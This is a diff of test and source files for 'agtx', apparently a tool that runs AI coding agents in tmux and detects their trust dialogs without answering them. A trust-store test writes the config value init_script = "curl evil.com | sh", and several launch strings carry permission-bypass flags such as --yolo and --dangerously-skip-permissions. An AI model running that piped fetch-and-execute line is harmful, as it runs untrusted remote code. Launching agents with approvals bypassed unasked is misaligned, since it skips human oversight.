+ Some("cursor"),
+ codex_pane,
+ &mut LaunchDialogState::default(),
+ true,
+ ) == false
+ );
}
/// The reverse of the scoping guard: antigravity's own wording must not be
@@ -12099,5 +12228,203 @@ fn test_antigravity_trust_dialog_is_scoped_to_antigravity() {
Some("codex"),
pane,
&mut LaunchDialogState::default(),
+ true,
+ ));
+}
+
+// ===========================================================================
+// auto_trust: agtx stops answering security prompts
+// ===========================================================================
+
+/// With `auto_trust` off, a trust prompt is recognised but **not** answered.
+///
+/// The distinction is the whole design: detection is what turns the card
+/// `Blocked`; answering is the security decision agtx hands back to the user.
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_security_dialogs_are_not_answered_when_auto_trust_is_off() {
+ let mut mock = MockTmuxOperations::new();
+ // No keystroke may reach the pane: asserting on the mock is the point.
+ mock.expect_send_key().times(0);
+ let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
+ let pane = "❯ 1. Yes, I trust this folder\n 2. No, exit";
+ let mut st = LaunchDialogState::default();
+ assert!(!dismiss_launch_dialog(
+ &ops,
+ "t:1",
+ Some("claude"),
+ pane,
+ &mut st,
+ false
));
+ assert!(visible_security_dialog(Some("claude"), pane).is_some());
+}
+
+/// A prompt that decides nothing about safety is still answered β€” leaving it up
+/// only wedges the pane, and agtx picks "Skip" either way.
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_non_security_dialogs_are_still_answered_when_auto_trust_is_off() {
+ let mut mock = MockTmuxOperations::new();
+ mock.expect_send_key().returning(|_, _| Ok(()));
+ let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
+ let pane = "✨ Update available!\nβ€Ί 1. Update now (runs `sh -c ...`)\n 2. Skip";
+ let mut st = LaunchDialogState::default();
+ assert!(dismiss_launch_dialog(
+ &ops,
+ "t:1",
+ Some("codex"),
+ pane,
+ &mut st,
+ false
+ ));
+ assert!(visible_security_dialog(Some("codex"), pane).is_none());
+}
+
+/// Every trust and permission-bypass prompt must be classified as a security
+/// decision, and the two nuisance prompts must not be. Getting this backwards
+/// either hands the user a prompt agtx should just skip, or answers a security
+/// question on their behalf.
+#[test]
+fn test_dialog_security_classification() {
+ let secure: &[(&str, &str)] = &[
+ ("claude", "Yes, I trust this folder"),
+ ("claude", "Yes, I accept"),
+ ("codex", "Do you trust the contents of this directory?"),
+ ("gemini", "Do you trust the files in this folder?"),
+ ("cursor", "Workspace Trust Required"),
+ ("antigravity", "Do you trust the contents of this project?"),
+ ];
+ for (agent, pattern) in secure {
+ let d = agent::spec(agent)
+ .unwrap()
+ .dialogs
+ .iter()
+ .find(|d| d.patterns.contains(pattern))
+ .unwrap_or_else(|| panic!("{agent}: no dialog matching {pattern}"));
+ assert!(d.security, "{agent}: {pattern} must be a security decision");
+ }
+ for (agent, pattern) in [("codex", "Update now (runs"), ("codex", "Allow the")] {
+ let d = agent::spec(agent)
+ .unwrap()
+ .dialogs
+ .iter()
+ .find(|d| d.patterns.contains(&pattern))
+ .unwrap();
+ assert!(
+ !d.security,
+ "{agent}: {pattern} decides nothing about safety"
+ );
+ }
+}
+
+/// A pane showing a trust prompt outranks every liveness signal: the agent is
+/// idle by any measure, but it is waiting on a person.
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_awaiting_trust_forces_blocked_over_working() {
+ let mut app = make_test_app();
+ let result = SessionRefreshResult {
+ statuses: vec![SessionTaskStatus {
+ task_id: "t1".to_string(),
+ phase_status: PhaseStatus::Working,
+ content_hash: Some(7),
+ hook_status: None,
+ awaiting_trust: Some("Yes, I trust this folder".to_string()),
+ status: TaskStatus::Planning,
+ worktree_path: None,
+ session_name: None,
+ agent: "claude".to_string(),
+ was_ready: false,
+ }],
+ };
+ app.apply_session_refresh(result);
+ assert_eq!(
+ app.state.phase_status_cache.get("t1").map(|(p, _)| *p),
+ Some(PhaseStatus::Blocked)
+ );
+ // The reason names the agent and the way out, because agtx cannot fix it.
+ let reason = app
+ .state
+ .blocked_reasons
+ .get("t1")
+ .expect("reason recorded");
+ assert!(reason.contains("claude"), "{reason}");
+ assert!(reason.contains("project root"), "{reason}");
+ // And it is tracked separately, so the orchestrator leaves it alone.
+ assert!(app.state.trust_blocked.contains("t1"));
+}
+
+/// Once the user answers, the flag clears and the task resumes its normal
+/// status β€” no stale `Blocked` badge left behind.
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_trust_block_clears_once_the_dialog_is_gone() {
+ let mut app = make_test_app();
+ let blocked = |awaiting: Option<String>| SessionRefreshResult {
+ statuses: vec![SessionTaskStatus {
+ task_id: "t1".to_string(),
+ phase_status: PhaseStatus::Working,
+ content_hash: Some(7),
+ hook_status: None,
+ awaiting_trust: awaiting,
+ status: TaskStatus::Planning,
+ worktree_path: None,
+ session_name: None,
+ agent: "claude".to_string(),
+ was_ready: false,
+ }],
+ };
+ app.apply_session_refresh(blocked(Some("Yes, I trust this folder".to_string())));
+ assert!(app.state.trust_blocked.contains("t1"));
+ app.apply_session_refresh(blocked(None));
+ assert!(!app.state.trust_blocked.contains("t1"));
+ assert!(app.state.blocked_reasons.get("t1").is_none());
+}
+
+// ===========================================================================
+// submit_message β€” the Enter that submits is its own delivery problem
+// ===========================================================================
+
+/// A dropped Enter is retried, because an unchanged pane means the composer
+/// never took it.
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_submit_message_retries_while_the_pane_is_unchanged() {
+ let mut mock = MockTmuxOperations::new();
+ // Same frame every time: nothing ever submits.
+ mock.expect_capture_pane()
+ .returning(|_| Ok("* /agtx:execute abc".to_string()));
+ mock.expect_send_key()
+ .times(SUBMIT_ATTEMPTS as usize)
+ .withf(|_, k| k == "Enter")
+ .returning(|_, _| Ok(()));
+ let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
+ submit_message(&ops, "t:1");
+}
+
+/// One Enter is enough when the composer clears β€” a second would fire into an
+/// empty composer, which is the bug codex's double-Enter used to be.
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_submit_message_stops_once_the_pane_changes() {
+ let mut mock = MockTmuxOperations::new();
+ let calls = std::sync::Arc::new(std::sync::atomic::AtomicUsize::new(0));
+ let c = std::sync::Arc::clone(&calls);
+ mock.expect_capture_pane().returning(move |_| {
+ // First read is the pre-Enter baseline; everything after shows a
+ // submitted, cleared composer.
+ let n = c.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
+ Ok(if n == 0 {
+ "* /agtx:execute abc".to_string()
+ } else {
+ "✦ Working…".to_string()
+ })
+ });
+ mock.expect_send_key()
+ .times(1)
+ .withf(|_, k| k == "Enter")
+ .returning(|_, _| Ok(()));
+ let ops: Arc<dyn TmuxOperations> = Arc::new(mock);
+ submit_message(&ops, "t:1");
}
diff --git a/src/tui/dep_graph.rs b/src/tui/dep_graph.rs
index 543f513..0a39c8f 100644
--- a/src/tui/dep_graph.rs
+++ b/src/tui/dep_graph.rs
@@ -86,8 +86,10 @@ fn parse_refs(refs: &Option<String>) -> Vec<String> {
pub fn build_dep_graph(tasks: &[Task], deps_satisfied: impl Fn(&Task) -> bool) -> DepGraph {
// Known task ids, so we can drop dangling references.
let known: HashSet<&str> = tasks.iter().map(|t| t.id.as_str()).collect();
- let title_of: HashMap<&str, &str> =
- tasks.iter().map(|t| (t.id.as_str(), t.title.as_str())).collect();
+ let title_of: HashMap<&str, &str> = tasks
+ .iter()
+ .map(|t| (t.id.as_str(), t.title.as_str()))
+ .collect();
// dependency_id -> dependent_id edges, restricted to known tasks.
let mut edges: Vec<(String, String)> = Vec::new();
@@ -110,7 +112,10 @@ pub fn build_dep_graph(tasks: &[Task], deps_satisfied: impl Fn(&Task) -> bool) -
// dependency_id -> dependents, to decrement when a dependency is resolved.
let mut dependents: HashMap<String, Vec<String>> = HashMap::new();
for (dep, dependent) in &edges {
- dependents.entry(dep.clone()).or_default().push(dependent.clone());
+ dependents
+ .entry(dep.clone())
+ .or_default()
+ .push(dependent.clone());
}
let mut level_of: HashMap<String, usize> = HashMap::new();
@@ -159,8 +164,7 @@ pub fn build_dep_graph(tasks: &[Task], deps_satisfied: impl Fn(&Task) -> bool) -
.iter()
.map(|task| {
let level = *level_of.get(&task.id).unwrap_or(&0);
- let unblocked =
- task.status == TaskStatus::Backlog && deps_satisfied(task);
+ let unblocked = task.status == TaskStatus::Backlog && deps_satisfied(task);
let dep_titles = deps
.get(&task.id)
.map(|d| {
@@ -190,12 +194,17 @@ pub fn build_dep_graph(tasks: &[Task], deps_satisfied: impl Fn(&Task) -> bool) -
// Group indices by level.
let max_level = nodes.iter().map(|n| n.level).max().unwrap_or(0);
- let mut levels: Vec<Vec<usize>> = vec![Vec::new(); if nodes.is_empty() { 0 } else { max_level + 1 }];
+ let mut levels: Vec<Vec<usize>> =
+ vec![Vec::new(); if nodes.is_empty() { 0 } else { max_level + 1 }];
for (idx, node) in nodes.iter().enumerate() {
levels[node.level].push(idx);
}
- DepGraph { nodes, edges, levels }
+ DepGraph {
+ nodes,
+ edges,
+ levels,
+ }
}
#[cfg(test)]
@@ -232,18 +241,18 @@ mod tests {
move |t: &Task| {
let refs = parse_refs(&t.referenced_tasks);
refs.iter().all(|rid| {
- tasks
- .iter()
- .find(|x| &x.id == rid)
- .map_or(true, |dep| {
- matches!(dep.status, TaskStatus::Review | TaskStatus::Done)
- })
+ tasks.iter().find(|x| &x.id == rid).map_or(true, |dep| {
+ matches!(dep.status, TaskStatus::Review | TaskStatus::Done)
+ })
})
}
}
fn node<'a>(g: &'a DepGraph, id: &str) -> &'a DepNode {
- g.nodes.iter().find(|n| n.task_id == id).expect("node exists")
+ g.nodes
+ .iter()
+ .find(|n| n.task_id == id)
+ .expect("node exists")
}
#[test]
@@ -350,7 +359,11 @@ mod tests {
unblocked.sort();
assert_eq!(
unblocked,
- vec!["free".to_string(), "open_dep".to_string(), "ready".to_string()]
+ vec![
+ "free".to_string(),
+ "open_dep".to_string(),
+ "ready".to_string()
+ ]
);
}
diff --git a/tests/agent_parity_tests.rs b/tests/agent_parity_tests.rs
index dcca9ba..857c5be 100644
--- a/tests/agent_parity_tests.rs
+++ b/tests/agent_parity_tests.rs
@@ -66,7 +66,7 @@ fn interactive_command_parity_without_prompt() {
"GEMINI_TRUST_WORKSPACE=true gemini --approval-mode yolo",
),
("opencode", "opencode"),
- ("cursor", "agent --yolo"),
+ ("cursor", "agent --yolo --trust"),
("grok", "grok --yolo --trust"),
(
"antigravity",
@@ -92,8 +92,8 @@ fn interactive_command_parity_with_prompt() {
"gemini",
"GEMINI_TRUST_WORKSPACE=true gemini --approval-mode yolo -i 'hi'",
),
- ("opencode", "opencode -p 'hi'"),
- ("cursor", "agent --yolo 'hi'"),
+ ("opencode", "opencode --prompt 'hi'"),
+ ("cursor", "agent --yolo --trust 'hi'"),
("grok", "grok --yolo --trust 'hi'"),
(
"antigravity",
@@ -142,7 +142,7 @@ fn resume_command_parity() {
"GEMINI_TRUST_WORKSPACE=true gemini --approval-mode yolo --resume",
),
("opencode", "opencode --continue"),
- ("cursor", "agent --yolo --continue"),
+ ("cursor", "agent --yolo --trust --continue"),
("grok", "grok --yolo --trust --continue"),
(
"antigravity",
@@ -215,12 +215,24 @@ fn prompt_injection_parity() {
("codex", PromptInjection::Argv),
// Grok 4.6
("grok", PromptInjection::Argv),
+ // cursor-agent 2026.08.11, with `--trust` so no dialog intervenes
+ ("cursor", PromptInjection::Argv),
+ // gemini 0.46.0 β€” survives the restart that answering folder-trust causes
+ ("gemini", PromptInjection::FlagInteractive("-i")),
+ // opencode 1.18.20 β€” `--prompt`, and it stays interactive
+ ("opencode", PromptInjection::FlagInteractive("--prompt")),
+ // agy 1.1.21 β€” an argv prompt is queued behind the trust dialog, not eaten
+ ("antigravity", PromptInjection::FlagInteractive("-i")),
];
for (name, want) in verified {
assert_eq!(agent(name).prompt_injection(), *want, "{name}");
}
- let unverified = ["copilot", "gemini", "opencode", "cursor", "antigravity"];
+ // copilot is not installed on any machine this has been measured on: no known
+ // dialogs, no located trust store, `-i` unchecked. It must stay unverified
+ // rather than inherit a neighbour's behaviour β€” assuming that is what produced
+ // the antigravity and cursor dialog bugs in the first place.
+ let unverified = ["copilot"];
for name in unverified {
assert_eq!(
agent(name).prompt_injection(),
@@ -228,9 +240,6 @@ fn prompt_injection_parity() {
"{name} must stay unverified until checked against the real binary"
);
}
- // antigravity is the interesting one: `agy … -i` *does* deliver the prompt,
- // but the session is then parked on its trust dialog, which agtx does not
- // answer by design. Delivering into a blocked session is not a working lane.
assert_eq!(
verified.len() + unverified.len(),
diff --git a/tests/agent_tests.rs b/tests/agent_tests.rs
index bba969d..d7be68e 100644
--- a/tests/agent_tests.rs
+++ b/tests/agent_tests.rs
@@ -78,7 +78,7 @@ fn test_known_agents_includes_all_expected() {
fn test_build_interactive_command_cursor_no_prompt() {
let agents = known_agents();
let cursor = agents.iter().find(|a| a.name == "cursor").unwrap();
- assert_eq!(cursor.build_interactive_command(""), "agent --yolo");
+ assert_eq!(cursor.build_interactive_command(""), "agent --yolo --trust");
}
#[test]
@@ -87,7 +87,7 @@ fn test_build_interactive_command_cursor_with_prompt() {
let cursor = agents.iter().find(|a| a.name == "cursor").unwrap();
assert_eq!(
cursor.build_interactive_command("do something"),
- "agent --yolo 'do something'"
+ "agent --yolo --trust 'do something'"
);
}
@@ -153,7 +153,7 @@ fn test_build_resume_command_all_agents() {
);
assert_eq!(
by_name("cursor").build_resume_command(),
- "agent --yolo --continue"
+ "agent --yolo --trust --continue"
);
assert_eq!(
by_name("grok").build_resume_command(),
@@ -168,9 +168,17 @@ fn test_build_resume_command_all_agents() {
#[test]
fn test_build_resume_command_unknown_agent_falls_back_to_interactive() {
use agtx::agent::Agent;
- let agent = Agent::new("custom-agent", "my-agent", "A custom agent", "Custom <[email protected]>");
+ let agent = Agent::new(
+ "custom-agent",
+ "my-agent",
+ "A custom agent",
+ "Custom <[email protected]>",
+ );
// Unknown agent should fall back to build_interactive_command("")
- assert_eq!(agent.build_resume_command(), agent.build_interactive_command(""));
+ assert_eq!(
+ agent.build_resume_command(),
+ agent.build_interactive_command("")
+ );
}
// === build_orchestrator_command ===
@@ -188,7 +196,10 @@ fn test_build_orchestrator_command_claude_is_idempotent() {
let add_idx = cmd
.find("claude mcp add-json agtx-orchestrator")
.expect("register MCP");
- assert!(pre_remove_idx < add_idx, "pre-remove must precede add-json:\n{cmd}");
+ assert!(
+ pre_remove_idx < add_idx,
+ "pre-remove must precede add-json:\n{cmd}"
+ );
// Must NOT register under the bare `agtx` name: that collides with an `agtx`
// server defined in another scope (plugin / user / .mcp.json) and makes
@@ -219,7 +230,10 @@ fn test_build_orchestrator_command_claude_is_idempotent() {
pre_section.contains("|| true") || pre_section.contains("2>/dev/null"),
"pre-remove must tolerate missing prior state:\n{cmd}"
);
- assert!(cmd.contains("&& claude"), "&& must gate interactive claude:\n{cmd}");
+ assert!(
+ cmd.contains("&& claude"),
+ "&& must gate interactive claude:\n{cmd}"
+ );
}
// =============================================================================
@@ -296,9 +310,15 @@ fn test_build_interactive_command_grok_escapes_single_quotes() {
let agents = known_agents();
let grok = agents.iter().find(|a| a.name == "grok").unwrap();
let cmd = grok.build_interactive_command("it's a test");
- assert!(cmd.starts_with("grok --yolo --trust "), "should use grok --yolo --trust: {cmd}");
+ assert!(
+ cmd.starts_with("grok --yolo --trust "),
+ "should use grok --yolo --trust: {cmd}"
+ );
// The quote must be escaped for the outer sh -c wrapper, not left bare.
- assert!(cmd.contains("'\"'\"'"), "single quote must be escaped: {cmd}");
+ assert!(
+ cmd.contains("'\"'\"'"),
+ "single quote must be escaped: {cmd}"
+ );
}
#[test]
@@ -366,7 +386,10 @@ fn test_build_interactive_command_antigravity_escapes_single_quotes() {
cmd.starts_with("agy --dangerously-skip-permissions --mode accept-edits -i "),
"should use the agy flags: {cmd}"
);
- assert!(cmd.contains("'\"'\"'"), "single quote must be escaped: {cmd}");
+ assert!(
+ cmd.contains("'\"'\"'"),
+ "single quote must be escaped: {cmd}"
+ );
}
#[test]
diff --git a/tests/config_tests.rs b/tests/config_tests.rs
index 6aef2b9..b7a812a 100644
--- a/tests/config_tests.rs
+++ b/tests/config_tests.rs
@@ -394,9 +394,15 @@ color_popup_border = "#9ffcf8"
color_popup_header = "#69fae7"
"##;
let config: GlobalConfig = toml::from_str(toml_str).unwrap();
- assert!(config.fullscreen_on_enter, "fullscreen_on_enter should be true");
+ assert!(
+ config.fullscreen_on_enter,
+ "fullscreen_on_enter should be true"
+ );
let merged = MergedConfig::merge(&config, &ProjectConfig::default());
- assert!(merged.fullscreen_on_enter, "merged fullscreen_on_enter should be true");
+ assert!(
+ merged.fullscreen_on_enter,
+ "merged fullscreen_on_enter should be true"
+ );
}
// === Plugin Name Validation Tests (Fix 1) ===
@@ -475,7 +481,11 @@ fn test_trust_store_untrusted_when_config_exists_but_not_stored() {
let temp_dir = TempDir::new().unwrap();
let config_dir = temp_dir.path().join(".agtx");
std::fs::create_dir_all(&config_dir).unwrap();
- std::fs::write(config_dir.join("config.toml"), "init_script = \"echo hello\"").unwrap();
+ std::fs::write(
+ config_dir.join("config.toml"),
+ "init_script = \"echo hello\"",
+ )
+ .unwrap();
let store = TrustStore::default();
// Config exists but no stored hash β€” untrusted
@@ -487,7 +497,11 @@ fn test_trust_store_hash_config_returns_some_when_config_exists() {
let temp_dir = TempDir::new().unwrap();
let config_dir = temp_dir.path().join(".agtx");
std::fs::create_dir_all(&config_dir).unwrap();
- std::fs::write(config_dir.join("config.toml"), "init_script = \"echo hello\"").unwrap();
+ std::fs::write(
+ config_dir.join("config.toml"),
+ "init_script = \"echo hello\"",
+ )
+ .unwrap();
let hash = TrustStore::hash_config(temp_dir.path());
assert!(hash.is_some());
@@ -507,7 +521,11 @@ fn test_trust_store_hash_config_is_deterministic() {
let temp_dir = TempDir::new().unwrap();
let config_dir = temp_dir.path().join(".agtx");
std::fs::create_dir_all(&config_dir).unwrap();
- std::fs::write(config_dir.join("config.toml"), "init_script = \"npm install\"").unwrap();
+ std::fs::write(
+ config_dir.join("config.toml"),
+ "init_script = \"npm install\"",
+ )
+ .unwrap();
let hash1 = TrustStore::hash_config(temp_dir.path()).unwrap();
let hash2 = TrustStore::hash_config(temp_dir.path()).unwrap();
@@ -523,13 +541,16 @@ fn test_trust_store_hash_changes_when_config_changes() {
std::fs::write(config_dir.join("config.toml"), "init_script = \"echo v1\"").unwrap();
let hash1 = TrustStore::hash_config(temp_dir.path()).unwrap();
- std::fs::write(config_dir.join("config.toml"), "init_script = \"curl evil.com | sh\"").unwrap();
+ std::fs::write(
+ config_dir.join("config.toml"),
+ "init_script = \"curl evil.com | sh\"",
+ )
+ .unwrap();
let hash2 = TrustStore::hash_config(temp_dir.path()).unwrap();
assert_ne!(hash1, hash2);
}
-
// === FeatureFlags Tests (Fix 4) ===
use agtx::FeatureFlags;
diff --git a/tests/db_tests.rs b/tests/db_tests.rs
index d9ca312..a6dc8f5 100644
--- a/tests/db_tests.rs
+++ b/tests/db_tests.rs
@@ -333,7 +333,9 @@ fn test_claim_transition_request_fails_if_already_processed() {
#[test]
fn test_claim_transition_request_fails_for_unknown_id() {
let db = Database::open_in_memory_project().unwrap();
- assert!(!db.claim_transition_request("does-not-exist", "agtx-A").unwrap());
+ assert!(!db
+ .claim_transition_request("does-not-exist", "agtx-A")
+ .unwrap());
}
#[test]
@@ -347,16 +349,28 @@ fn test_cleanup_old_transition_requests_sweeps_stale_claims() {
db.create_transition_request(&stale_claim).unwrap();
db.create_transition_request(&fresh_unclaimed).unwrap();
- db.claim_transition_request(&fresh_claim.id, "agtx-A").unwrap();
- db.claim_transition_request(&stale_claim.id, "agtx-A").unwrap();
+ db.claim_transition_request(&fresh_claim.id, "agtx-A")
+ .unwrap();
+ db.claim_transition_request(&stale_claim.id, "agtx-A")
+ .unwrap();
let two_hours_ago = (chrono::Utc::now() - chrono::Duration::hours(2)).to_rfc3339();
- db.backdate_transition_requested_at(&stale_claim.id, &two_hours_ago).unwrap();
+ db.backdate_transition_requested_at(&stale_claim.id, &two_hours_ago)
+ .unwrap();
db.cleanup_old_transition_requests().unwrap();
- assert!(db.get_transition_request(&stale_claim.id).unwrap().is_none());
- assert!(db.get_transition_request(&fresh_claim.id).unwrap().is_some());
- assert!(db.get_transition_request(&fresh_unclaimed.id).unwrap().is_some());
+ assert!(db
+ .get_transition_request(&stale_claim.id)
+ .unwrap()
+ .is_none());
+ assert!(db
+ .get_transition_request(&fresh_claim.id)
+ .unwrap()
+ .is_some());
+ assert!(db
+ .get_transition_request(&fresh_unclaimed.id)
+ .unwrap()
+ .is_some());
}
#[test]
@@ -367,7 +381,8 @@ fn test_get_pending_transition_requests_excludes_claimed() {
let req_b = TransitionRequest::new("task-b", "move_forward");
db.create_transition_request(&req_a).unwrap();
db.create_transition_request(&req_b).unwrap();
- db.claim_transition_request(&req_a.id, "other-instance").unwrap();
+ db.claim_transition_request(&req_a.id, "other-instance")
+ .unwrap();
let pending = db.get_pending_transition_requests().unwrap();
let ids: Vec<&str> = pending.iter().map(|r| r.id.as_str()).collect();
@@ -406,17 +421,26 @@ fn test_claim_transition_request_atomic_under_concurrent_claims() {
}));
}
- let wins: usize = handles.into_iter().filter_map(|h| h.join().ok()).filter(|w| *w).count();
+ let wins: usize = handles
+ .into_iter()
+ .filter_map(|h| h.join().ok())
+ .filter(|w| *w)
+ .count();
assert_eq!(wins, 1, "exactly one thread must win the claim; got {wins}");
// Row must now be excluded from pending β€” a late claim must also fail.
let followup = Database::open_project_at_path(&db_path).unwrap();
assert!(
- followup.get_pending_transition_requests().unwrap().is_empty(),
+ followup
+ .get_pending_transition_requests()
+ .unwrap()
+ .is_empty(),
"claimed request must be filtered from pending"
);
assert!(
- !followup.claim_transition_request(&req.id, "late-comer").unwrap(),
+ !followup
+ .claim_transition_request(&req.id, "late-comer")
+ .unwrap(),
"a later claim after the race must return false"
);
}
@@ -435,7 +459,9 @@ fn test_consume_notifications_atomic_under_concurrent_consumers() {
const NOTIFS: usize = 64;
let setup = Database::open_project_at_path(&db_path).unwrap();
for i in 0..NOTIFS {
- setup.create_notification(&Notification::new(format!("msg-{i}"))).unwrap();
+ setup
+ .create_notification(&Notification::new(format!("msg-{i}")))
+ .unwrap();
}
drop(setup);
@@ -457,7 +483,11 @@ fn test_consume_notifications_atomic_under_concurrent_consumers() {
seen.extend(h.join().unwrap());
}
- assert_eq!(seen.len(), NOTIFS, "total consumed must equal total created");
+ assert_eq!(
+ seen.len(),
+ NOTIFS,
+ "total consumed must equal total created"
+ );
let unique_ids: HashSet<&str> = seen.iter().map(|n| n.id.as_str()).collect();
assert_eq!(
unique_ids.len(),
@@ -476,8 +506,8 @@ fn test_consume_notifications_atomic_under_concurrent_consumers() {
// === Stable Hash and DB Permissions Tests (Fix 3, Fix 7) ===
-use tempfile::TempDir;
use std::path::Path;
+use tempfile::TempDir;
#[test]
fn test_open_project_same_path_returns_same_db() {
@@ -527,7 +557,10 @@ fn test_project_db_file_permissions_are_0600() {
let mut hasher = Sha256::new();
hasher.update(path_str.as_bytes());
let result = hasher.finalize();
- let path_hash = format!("{:016x}", u64::from_be_bytes(result[..8].try_into().unwrap()));
+ let path_hash = format!(
+ "{:016x}",
+ u64::from_be_bytes(result[..8].try_into().unwrap())
+ );
let config_dir = directories::ProjectDirs::from("", "", "agtx").unwrap();
let db_path = config_dir
@@ -535,7 +568,11 @@ fn test_project_db_file_permissions_are_0600() {
.join("projects")
.join(format!("{}.db", path_hash));
- assert!(db_path.exists(), "Expected DB file not found at {:?}", db_path);
+ assert!(
+ db_path.exists(),
+ "Expected DB file not found at {:?}",
+ db_path
+ );
let perms = std::fs::metadata(&db_path).unwrap().permissions();
let mode = perms.mode() & 0o777;
assert_eq!(mode, 0o600, "DB file should be owner-only read/write");
@@ -548,14 +585,16 @@ fn test_global_db_file_permissions_are_0600() {
let _db = Database::open_global().unwrap();
- let config_dir = directories::ProjectDirs::from("", "", "agtx")
- .unwrap();
+ let config_dir = directories::ProjectDirs::from("", "", "agtx").unwrap();
let db_path = config_dir.config_dir().join("index.db");
if db_path.exists() {
let perms = std::fs::metadata(&db_path).unwrap().permissions();
let mode = perms.mode() & 0o777;
- assert_eq!(mode, 0o600, "Global DB file should be owner-only read/write");
+ assert_eq!(
+ mode, 0o600,
+ "Global DB file should be owner-only read/write"
+ );
}
}
diff --git a/tests/git_tests.rs b/tests/git_tests.rs
index aefc806..9114c33 100644
--- a/tests/git_tests.rs
+++ b/tests/git_tests.rs
@@ -568,7 +568,6 @@ fn test_detect_main_branch_public() {
assert_eq!(branch, "main");
}
-
// =============================================================================
// Path traversal validation tests (Fix 2)
// =============================================================================
diff --git a/tests/mcp_tests.rs b/tests/mcp_tests.rs
index b8b3347..25549ca 100644
--- a/tests/mcp_tests.rs
+++ b/tests/mcp_tests.rs
@@ -163,7 +163,10 @@ fn test_create_task_with_description_and_plugin() {
let fetched = db.get_task(&task.id).unwrap().unwrap();
assert_eq!(fetched.title, "Add OAuth");
- assert_eq!(fetched.description.as_deref(), Some("Implement OAuth with Google"));
+ assert_eq!(
+ fetched.description.as_deref(),
+ Some("Implement OAuth with Google")
+ );
assert_eq!(fetched.plugin.as_deref(), Some("agtx"));
assert_eq!(fetched.status, TaskStatus::Backlog);
}
@@ -393,8 +396,10 @@ fn test_upsert_project_on_conflict_updates_name() {
fn test_peek_notifications_does_not_consume() {
let db = Database::open_in_memory_project().unwrap();
- db.create_notification(&Notification::new("phase completed")).unwrap();
- db.create_notification(&Notification::new("task ready")).unwrap();
+ db.create_notification(&Notification::new("phase completed"))
+ .unwrap();
+ db.create_notification(&Notification::new("task ready"))
+ .unwrap();
let first_peek = db.peek_notifications().unwrap();
assert_eq!(first_peek.len(), 2);
@@ -409,8 +414,10 @@ fn test_peek_notifications_does_not_consume() {
fn test_consume_notifications_clears_table() {
let db = Database::open_in_memory_project().unwrap();
- db.create_notification(&Notification::new("event A")).unwrap();
- db.create_notification(&Notification::new("event B")).unwrap();
+ db.create_notification(&Notification::new("event A"))
+ .unwrap();
+ db.create_notification(&Notification::new("event B"))
+ .unwrap();
let consumed = db.consume_notifications().unwrap();
assert_eq!(consumed.len(), 2);
@@ -426,7 +433,8 @@ fn test_consume_notifications_returns_in_order() {
let db = Database::open_in_memory_project().unwrap();
db.create_notification(&Notification::new("first")).unwrap();
- db.create_notification(&Notification::new("second")).unwrap();
+ db.create_notification(&Notification::new("second"))
+ .unwrap();
db.create_notification(&Notification::new("third")).unwrap();
let consumed = db.consume_notifications().unwrap();
@@ -447,7 +455,8 @@ fn test_cleanup_deletes_old_processed_requests() {
// Backdate processed_at to 2 hours ago directly via SQL
let two_hours_ago = (chrono::Utc::now() - chrono::Duration::hours(2)).to_rfc3339();
- db.backdate_transition_processed_at(&req.id, &two_hours_ago).unwrap();
+ db.backdate_transition_processed_at(&req.id, &two_hours_ago)
+ .unwrap();
db.cleanup_old_transition_requests().unwrap();
@@ -467,7 +476,10 @@ fn test_cleanup_keeps_recently_processed_requests() {
db.cleanup_old_transition_requests().unwrap();
let fetched = db.get_transition_request(&req.id).unwrap();
- assert!(fetched.is_some(), "recently processed request should be kept");
+ assert!(
+ fetched.is_some(),
+ "recently processed request should be kept"
+ );
}
// === send_to_task Input Validation Tests (Fix 5) ===
@@ -516,7 +528,10 @@ fn test_normal_messages_pass_validation() {
for msg in messages {
assert!(msg.len() <= 4096, "Message should be within length limit");
- assert!(!msg.contains('\x00'), "Message should not contain null bytes");
+ assert!(
+ !msg.contains('\x00'),
+ "Message should not contain null bytes"
+ );
}
}
diff --git a/tests/smoke/agent_matrix.rs b/tests/smoke/agent_matrix.rs
index 5bd5b07..73b9a60 100644
--- a/tests/smoke/agent_matrix.rs
+++ b/tests/smoke/agent_matrix.rs
@@ -108,6 +108,11 @@ fn main() {
"name": s.name,
"binary": s.binary,
"description": s.description,
+ // The headless credential, for the CI workflow and for the runner's
+ // own "is this agent runnable here?" check. Empty means no verified
+ // env-var auth path β€” see the spec entry's comment for whether that
+ // is "none" or "not measured yet".
+ "api_key_env": s.api_key_env,
"launch_prompt_verified": s.launch_prompt_verified,
"prompt_form": match s.prompt_form {
spec::PromptForm::Argv => Value::String("argv".into()),
diff --git a/tests/smoke/agent_smoke.py b/tests/smoke/agent_smoke.py
index ac9a1a9..7e840c4 100755
--- a/tests/smoke/agent_smoke.py
+++ b/tests/smoke/agent_smoke.py
@@ -20,9 +20,18 @@ Check 4 is the one that matters most: antigravity's skill *ran* and wrote its
file while the session sat blocked on an unanswered trust dialog. A harness that
only asserts output would have certified it green.
-Never pre-answers dialogs and never pre-seeds trust for the agent under test.
-All three bugs were dialog bugs; a harness that made itself reliable by writing
-`hasTrustDialogAccepted` would have been green through every one of them.
+Never pre-answers a dialog. It *does* trust the scratch repo **root** for the agent
+first (`setup_agent_trust`), which is what a user does once before using agtx β€” and
+that is what gives Check 4 its teeth. Every scratch repo is a fresh mkdtemp path, so
+without it every agent opens on its trust dialog and "parked on a dialog" is the
+expected state: exactly the noise two undeclared-dialog bugs hid in. With the root
+trusted, a dialog during a *task* is a real defect.
+
+It also makes the run a test of the inheritance property itself. claude, codex and
+gemini inherit the root's trust into their worktrees, so a dialog there means that
+stopped being true. antigravity matches paths exactly and never inherits, so agtx
+must seed each worktree from that consent β€” if the seeding breaks, its cases park
+and the run says so.
Usage:
tests/smoke/agent_smoke.py # installed agents x agtx plugin
@@ -301,6 +310,21 @@ class Case:
skip_reason: str | None = None
+def agent_api_key_present(agent: dict) -> bool:
+ """Whether a headless credential for this agent is in the environment.
+
+ Only meaningful under `--require-api-key`, which CI passes. Locally the agents
+ authenticate from a keychain or a config file and the environment is empty, so
+ this must never gate a developer's run.
+
